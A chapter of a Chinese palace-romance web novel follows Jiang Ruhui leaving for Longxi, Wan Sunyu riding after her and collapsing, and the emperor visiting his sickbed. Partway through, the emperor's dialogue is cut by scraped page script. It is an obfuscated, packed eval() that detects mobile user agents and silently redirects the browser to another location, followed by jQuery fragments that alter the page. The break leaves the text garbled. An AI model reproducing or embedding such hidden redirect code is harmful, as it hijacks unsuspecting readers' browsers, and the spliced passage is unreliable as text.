蒋如蕙一步三回头，终究告别了万荪瑜、还有阿素，与落梅、陈月香一道，上了去往陇西的马车。


    有人选择离开，便有人选择留下。落梅和陈月香选择了追随蒋如蕙，阿素则继续留在万府，因她觉着有落梅和月香在，蒋如蕙身旁便没有她的位置了。两名侍女足矣，且她二人与蒋如蕙关系更亲厚，而她……也放心不下万荪瑜。


    万荪瑜眼见一行队伍渐渐消失在官道尽头，好似有什么东西自心尖上沉到了身体的最低处，正在消失不见……“侍剑，备马！”他忽地厉声道。


    “掌印，春桃……长乐郡主已动身去往陇西，您要……”侍剑平日里只依他旨意行事，此刻却愣在原地。


    “还愣着干什么？备马！”万荪瑜呵斥道，他眸光凌厉，声音比适才更多了几分力度。


    侍剑便照做，万荪瑜不由分说地翻身上马，这便挥动长鞭，向着出城的方向一路疾驰。


    今日分明阳光明媚，春风里含着融融暖意，自耳畔呼啸而过时，却也微凉。万荪瑜只策马疾行，顾不得道路两旁行人疑惑的目光。


    他今日着一身天水碧色圆领广袖长衫，未着蟒袍，是以许多路人并未瞧出他身份，只以为是个俊逸潇洒的官家公子。他并不精于骑射，这一身宽袍长袖亦不便骑马，可他眼下已然顾不得任何。


    他这一路将马驾得极快，终于在将将出城时追上了马车。实则蒋如蕙听闻队伍后方传来的马蹄声，掀开车帘回望，便见他策马行在后方不远处。她几次三番示意车驾停下，车夫却不为所动，只因这是镇北侯的吩咐。


    “桃儿！”万荪瑜高声呼喊，清朗声音里含着颤抖。策马行了这许久，他身子已然有些脱力，随着马蹄扬起，便自马上摔落下来。


    “你们到底停不停下？！”蒋如蕙厉声疾呼，眼见车夫仍不为所动，便动作迅速地拔下发髻上的蝴蝶金翅步摇，抵在了车夫脖颈处。


    “停车。”前方车驾内，便传来蒋盛云沉稳中略含无奈的声音。


    蒋如蕙匆匆下了马车，三步并作两步向车队后方行去，见万荪瑜匍匐在地、面色苍白，便小心翼翼搀扶他起身。“你这是何苦？可有受伤？”她忙问道，又在他周身查验起来。


    见她就在自己身畔，他心头的失落、忐忑和恐惧忽地一扫而空，身上疼痛似也烟消云散了，“我就是想……再看看你。”


    “你是不是傻？我说了，定会回来，”蒋如蕙拿起手帕轻轻拭去他面上灰尘，见他白皙手腕上破皮出血，应是适才跌落所致，“你这般，叫我如何放心？”


    “一点小伤，不妨事的。”他在她搀扶下撑着站起身来，感受到那伤处传来的疼痛，却不以为然。张太医和穆大夫此前均叮嘱过，他那旧伤骑不得马。


    “你照顾好自己啊……”蒋如蕙声音哽咽，见他面色苍白，分明是身上不舒坦了，又如何放心得下？


    “你放心，我会照顾好自己……”万荪瑜温声道，“你如今是郡主了，别哭……莫要失态。”他说着，便抬手拭去她眼角的泪。


    一众副将和兵士见他二人郎情妾意、依依惜别，心下竟也生出几分不忍。若非已然知晓这万掌印身份，都会觉着他二人郎才女貌，甚是般配，可惜……


    送君千里，终须一别。“我……先回去了，等你回来。”万荪瑜见她这般难过，又不禁责备自己冲动，不忍她继续伤怀担忧，便又撑着翻身上马，在她尚来不及阻拦时，便用力抽动马鞭，向着回城的方向一路疾驰……


    这个人这般折腾自己，就为了离别前再见她一面。她匆匆拭去面容上肆意流淌的泪，终究在他身影消失在视线尽头时，转身上了马车。


    万荪瑜这一路策马狂奔，风自他耳畔呼啸而过，带走了眼眶奔流而出的泪水，直至渐渐消散……而待回城，便正好迎面碰上策马赶至的侍书和侍剑。


    “掌印……”二人见他面容憔悴，泪痕在脸上晕开，已然干涸，便只当不曾瞧见，也不再提及蒋如蕙离开一事，“掌印，侍墨传来消息，寻到那孩子了。”侍剑便凑到他耳畔低声道。


    “知道了。”万荪瑜沉声道，便与他二人一道，继续向万府的方向行去。


    “掌印……不如与我同乘一匹吧。”侍剑试探着开了口，他知他身子不宜骑马，此番来回狂奔，已然经不起了。


    “不必。”万荪瑜冷言道，便策马继续向前，不想马儿刚奔开一段距离，他便自马背上摔落下来，已然晕厥过去，不省人事。


    “掌印！”耳畔侍书侍剑的呼喊声渐渐模糊……再醒来时，万荪瑜便发觉自己躺在卧房的床榻上，胸口的闷痛接连袭来，让他喘不过气，稍稍活动，疼痛又撕扯着席卷而至。


    他伸手探去，下身穿着宽松的亵裤，那伤口处正敷着药。


    “掌印，你醒啦，”侍书温声唤他，又给他更换额上湿热的布巾，“掌印，你心疾又犯了，那伤口也起了炎症，便引发了高热。”


    “那孩子……在哪里？”万荪瑜却是浑不在意，只询问公事。


    “那孩子”便是此前查探到的，被自称是柳安府上家丁的人自慈善堂领走的男孩，唤作“小南”。西厂探子已查到，小南便是前吏部侍郎柳安的私生子，孩子生母原是教坊司歌妓，染病离世后，孩子几经辗转便被慈善堂收留。


    幕后之人寻到了孩子下落，便趁柳安不备抢先一步领走孩子以此威胁他为自己差遣。去年端午宫宴，还是太子的慕容珩落水一事，便是柳安在游船上动了手脚。


    这线索终究是发现得晚了些，只眼下寻到了孩子下落，便可顺藤摸瓜揪出幕后之人。


    “在城西郊外一处庄子里，庄子的主人，唤作张坤，”侍书沉声道，“这张坤，便是礼部侍郎丁懋府上管事。”


    “丁懋？”万荪瑜微微疑惑，下意识抚弄拇指上的玉扳指。这丁懋，此前早朝时曾对他出言不逊，却是个眼高于顶、有勇无谋还胆小怕事的主儿。


    他隐隐觉着，这张坤真正效忠的，或许并非丁懋，“先盯紧些，密切关注这张坤一举一动，勿要打草惊蛇。”


    “是。”侍书便应下。


    正此时，门外又传来侍剑通传的声音，“掌印，陛下驾临，已入府了。”


    “为何不早些进来通传？”万荪瑜便有些慌乱，强撑着起身又牵动周身各处不适，不禁连连喘息。


    “您不是……将将才醒么？”侍剑嘟哝道。


    万荪瑜便也顾不上责备，在他搀扶下坐起身来，以蟒袍搭住上半身，又理了理额畔凌乱的青丝。


    待慕容珩入内，万荪瑜欲起身向他跪下行礼，便被他抢先一步摁住了动作，“阿笙，你我之间何须这些虚礼？你好好养病，仔细身子才是。”


    他说罢，便示意身后内侍将一应药材和所需之物拿入房中，又吩咐侍剑等人去研药、熬药。他今日虽着一身玄青色广袖常服，举手投足仍是天潢贵胄的矜贵与沉稳，身处其位，终究是不同了。


    “臣不过一介内官，残缺之身，哪容得陛下如此费心？”万荪瑜垂下头，不叫慕容珩瞧见他的憔悴失落，低沉的声音里透着无奈。


    “阿笙，我知道你心有不甘，亦怨我不念及往日情分，对不对？”慕容珩满含关切地望着他，便开了口。


    “陛下是天子，臣怎敢怨陛下？”万荪瑜轻轻声叹息。


    “朕如


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960251|190351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    今是天子了，朕也很无奈……”慕容珩说着，便有些无可奈何，称呼又由“我”变为了“朕”，“朕只要下一道旨意，命你与镇北侯之女即刻成婚，便是他镇北侯战功赫赫、身居高位，亦不敢说一个不字，因朕是天子，他是臣。”他一字一句缓声道。


    “可朕非但没下这道旨意，还敕封镇北侯之女为郡主，”慕容珩继续道，语气便急促起来，“朕知道，如此你与她势必更难走到一处，你会恐惧会无助，可朕只能这么做。因镇北侯一家，于北疆、于我大邺边关安防而言，实在太过重要。镇北侯好不容易寻到亲女，朕不能……让蒋氏一族寒了心……”


    “陛下……臣都明白的，臣从未怨恨陛下，”万荪瑜沉声道，语气便缓和许多，“陛下如今身为天子，如此考量，臣该欣慰才是。”他自然不怨恨慕容珩，并非不敢，而是不该。要恨，也只恨命运不公，造化弄人。


    “阿笙……你好好歇息，安心养伤，待你身子养好了，朕允你去陇西寻她。”慕容珩望着他，神色动容，又伸手轻抚他肩背，以示安抚。


    “臣，拜谢陛下！”万荪瑜闻言，又要跪下谢恩。


    慕容珩眼疾手快地阻止他动作，便示意他躺下休养。


    万荪瑜便缓缓躺下，短暂的欢喜过后，更深的不安再次涌上心头。便是去了陇西，甚至上门提亲，她的父兄难道就会接纳他么？他身体已然残缺，且身份如此，已是无法改变的事实。念及此，便不禁苦笑。


    待慕容珩离府回宫，侍书便行至万荪瑜身侧，“掌印，该换药了。”


    万荪瑜长吸一口气，这便缓缓掀开锦被、褪去亵裤。


    尽管侍书动作已然很轻，将涂抹了药膏的纱布重新覆上去时，他仍疼出了一身冷汗，下意识抓紧身下的被单，眼角便又淌下泪来。他知道，自己早已离不开她，早已习惯了她的温柔与爱抚，竟连这点痛都忍不得了。


    可他必须把伤养好，如此才能快些与她相见，不论她父兄如何看他，他都要尽力一试。如此，才不负她所爱。


    待换好药，汤药便熬好了。他撑着自床上坐起，便接过侍剑手里的汤药，只轻轻吹了吹，便一勺接一勺乖乖饮下。


    却说这边


    车队在路上行驶着，本不赶时辰，父子三人却归心似箭。是以这几日见蒋如蕙并无不适，便适当加快了行进速度。


    近日已越过山西大同，再往西便踏上陕甘一线，直入陇西。


    蒋如蕙掀开车窗，放眼望去，便见北地群山连绵，山势巍峨险峻。春日里山间树木葱茏，生机盎然，更现出西北风光奇绝，壮美辽阔。


    她此前在京城多年，从未有机会见识到这般壮丽大气的景观。只现下，风自耳畔拂过，她却觉时光好似静止下来。风声簌簌、马蹄哒哒，还有山间的虫鸣、鸟语，时而淌过的清泉叮咚，好似都听不见了。


    光阴停驻在了与他分离那日，而后，她只是按部就班地行路、住店留宿、再启程，循环往复……倘若这风景与他同赏，定会不一样吧，可凡事没有如果。


    每日，落梅和陈月香见她呆呆地凝望窗外，知她心事，却不知如何安慰。


    “郡主，奴婢觉着，过不了多久，万掌印便会来寻您了，我保证，”落梅率先开了口，“月香，不如我们打个赌？”


    “你我情如姐妹，谁允你唤我郡主，还自称奴婢的？”蒋如蕙阖上窗子，便回眸望她，面上含着嗔意。


    还是那个春桃，有喜有怒，活色生香。“是是是！奴……我们都知道啦，那日后是唤你春桃还是蕙蕙呢？”


    “随你们，怎么开心怎么来。”蒋如蕙莞尔一笑，掩饰着对他的思念。